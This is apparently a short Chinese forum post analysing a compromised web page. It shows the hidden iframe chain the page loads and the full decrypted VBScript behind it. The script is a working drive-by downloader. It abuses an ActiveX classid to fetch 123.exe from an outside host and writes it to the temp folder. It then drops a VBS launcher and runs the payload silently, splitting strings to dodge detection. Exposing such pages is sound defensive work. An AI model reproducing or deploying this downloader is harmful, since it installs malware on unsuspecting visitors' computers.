那有毒页面挺隐蔽的
<IFRAME border=0 src="/www/soft_3.htm" frameBorder=0 width=510 height=72></IFRAME>
转到
<IFRAME border=0 align=left marginWidth=0 marginHeight=0 src="http://www.jh33.com.cn/images/_vti_cnf/681.htm&;quot; frameBorder=no width=0 scrolling=no height=0></IFRAME>
解密得:
- Dim hcGVnIbVLqzAyEohoTgfvyCtShaKsuPrwKUpDqcEaZBiAlpQq
- On Error Resume Next
- aVKeV="http://www.ying68.cn/reg/images/123.exe"
- Set zOY = document.createElement("object")
- zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
- A1="Microsoft"
- A2="."
- A3="XMLHTTp"
- OOBnPl=A1&A2&A3
- Set WkS = zOY.CreateObject(OOBnPl,"")
- WkS.Open "GET", aVKeV, False
- WkS.Send
- ExeName="123.exe"
- VbsName="MOX.vbs"
- Set FPI = zOY.createobject("Scripting.FileSystemObject","")
- Set sTmp = FPI.GetSpecialFolder(2)
- ExeName=FPI.BuildPath(sTmp,ExeName)
- VbsName=FPI.BuildPath(sTmp,VbsName)
- A="A"
- AA="d"
- AB="odb"
- AAA="."
- BBB="stream"
- AdM=A&AA&AB&AAA&BBB
- Set Dpt = zOY.createobject(AdM,"")
- Dpt.type=1
- Dpt.Open
- Dpt.Write WkS.ResponseBody
- Dpt.Savetofile ExeName,2
- Dpt.Close
- Dpt.Type=2
- Dpt.Open
- Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing"
- Dpt.Savetofile VbsName,2
- Dpt.Close
- sRun="Shell.Appli"
- Set Run = zOY.createobject(sRun&"cation","")
- Run.ShellExecute VbsName,"","","Open",0
复制代码 |